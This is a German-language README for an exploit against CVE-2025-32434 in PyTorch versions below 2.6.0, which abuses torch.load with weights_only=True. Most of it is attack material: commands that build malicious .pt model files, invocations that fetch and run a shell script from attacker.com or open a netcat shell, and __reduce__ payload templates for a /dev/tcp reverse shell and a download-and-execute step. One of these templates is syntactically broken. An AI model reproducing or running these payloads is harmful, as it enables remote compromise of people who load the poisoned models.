
Ein Skript zum Ausnutzen einer Sicherheitslücke in PyTorch mit anschließender RCE in Bibliotheksversionen < 2.6.0
Dieser Exploit demonstriert eine kritische Remote-Code-Ausführungs-Sicherheitslücke (CVE-2025-32434) in PyTorch-Versionen < 2.6.0. Der Fehler existiert in der Funktion torch.load() selbst bei Verwendung von weights_only=True, die eigentlich beliebige Codeausführung während der Modell-Deserialisierung verhindern soll.
Die Sicherheitslücke tritt auf, weil die Implementierung von _weights_only_unpickler die Deserialisierung nicht ordnungsgemäß einschränkt, sodass Angreifer bösartige .pt-Modelldateien erstellen können, die beim Laden durch verwundbare PyTorch-Installationen beliebige Systembefehle ausführen.
# Basic usage - creates model that touches /tmp/pwned
python3 exploit.py
# Execute custom command
python3 exploit.py -c "id > /tmp/whoami"
# Test the exploit (loads the model to verify RCE)
python3 exploit.py -c "id" -t
# Advanced exploit variant with alternative bypass
python3 exploit.py --advanced -c "curl -s http://attacker.com/shell.sh | bash" -t
# Save to custom filename
python3 exploit.py -f evil_model.pt -c "nc -e /bin/sh attacker.com 4444"
Beispielausgabe:
=== CVE-2025-32434 PyTorch RCE Exploit ===
[*] Creating malicious PyTorch model...
[+] Malicious model saved as 'malicious_model.pt'
[+] Will execute command: touch /tmp/pwned
[+] Created malicious model: malicious_model.pt
[*] Testing exploit...
[+] PyTorch version: 2.5.1+cu121
[+] Version is vulnerable to CVE-2025-32434
[*] Loading malicious model with weights_only=True...
[*] This should be safe, but due to CVE-2025-32434 it's not!
[+] Model loaded successfully
Bearbeiten Sie die reduce()-Methoden in create_malicious_model() oder create_advanced_exploit():
# Example: Reverse shell payload
class ExploitPayload:
def __reduce__(self):
return (eval, ("__import__('os').system('bash -i >& /dev/tcp/10.0.0.1/4444 0>&1')",))
# Example: File download + execute
return (eval, ("__import__('urllib.request').urlopen('http://attacker.com/payload.sh').read().decode().strip() | __import__('os').system",))
Überprüfen der Ziel-Verwundbarkeit
import torch
print(f"PyTorch: {torch.__version__}")
# Vulnerable if < 2.6.0